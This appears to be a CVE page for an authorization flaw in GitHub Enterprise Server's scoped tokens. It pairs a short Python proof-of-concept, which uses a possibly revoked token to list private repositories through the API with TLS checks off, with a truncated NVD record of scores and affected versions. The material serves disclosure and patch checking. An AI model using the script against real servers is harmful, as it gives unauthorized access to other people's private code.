CVE-2026-5845

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-5845 Demonstrates checking if a scoped token acts as global due to authorization fallback. """ import requests TARGET = "https://your-ghe-instance.com/api/v3/user/repos" # Token from a revoked/deleted installation that might fallback to global TOKEN = "ghp_example_revoked_token" def check_access(): headers = { "Authorization": f"token {TOKEN}", "Accept": "application/vnd.github.v3+json" } print(f"[*] Attempting to list repositories using token: {TOKEN[:10]}...") try: r = requests.get(TARGET, headers=headers, verify=False) if r.status_code == 200: repos = r.json() print(f"[+] Success! Token has access to {len(repos)} repositories.") for repo in repos: if repo.get('private'): print(f" [!] Private Repo: {repo['full_name']}") else: print(f"[-] Failed. Status Code: {r.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": check_access()

{"cve": {"id": "CVE-2026-5845", "sourceIdentifier": "[email protected]", "published": "2026-04-21T23:16:22.473", "lastModified": "2026-04-29T12:30:18.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper authorization vulnerability in scoped user-to-server (ghu_) token authorization in GitHub Enterprise Server allows an authenticated attacker to access private repositories outside the intended installation scope, which can include write operations, via an authorization fallback that treated a revoked/deleted installation as a global installation context, which could be chained with token revocation timing and SSH push attribution to obtain and reuse a victim-scoped token. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.20.1, 3.19.5, 3.18.8, 3.17.14, 3.16.17, 3.15.21, and 3.14.26. This vulnerability was reported via the GitHub Bug Bounty program."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.14.26", "matchCriteriaId": "72A92258-9FCC-41E0-856B-3C2A495575A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.15.0", "versionEndExcluding": "3.15.21", "matchCriteriaId": "3A14A459-881C-437A-88EC-D721E3005329"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.16.0", "versionEndExcluding": "3.16.17", "matchCriteriaId": "8B7DCD9A-2CF0-4D96-AA96-ACEC662A8E1F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.17.0", "versionEndExcluding": "3.17.14", "matchCriteriaId": "CEC2ADE6-3E31-4889-9A73-B6695FE0AB52"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.18.0", "versionEndExcluding": "3.18.8", "matchCriteriaId": "9B15B12E-00A8-48E8-81DE-54506B94A2C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.19.0", "versionEndExcluding": "3.19.5", "matchCriteriaId": "56903EAF-4579-4263-AB0F-863323E7C81A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:3.20.0:*:*:*:*:*:*:*", "matchCriteriaId": "DCA4F97D-688E-45D2-90C0-8A11E9B531AA"}]}]}], "references": [{"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.14.26", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.15.21", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": ... (truncated)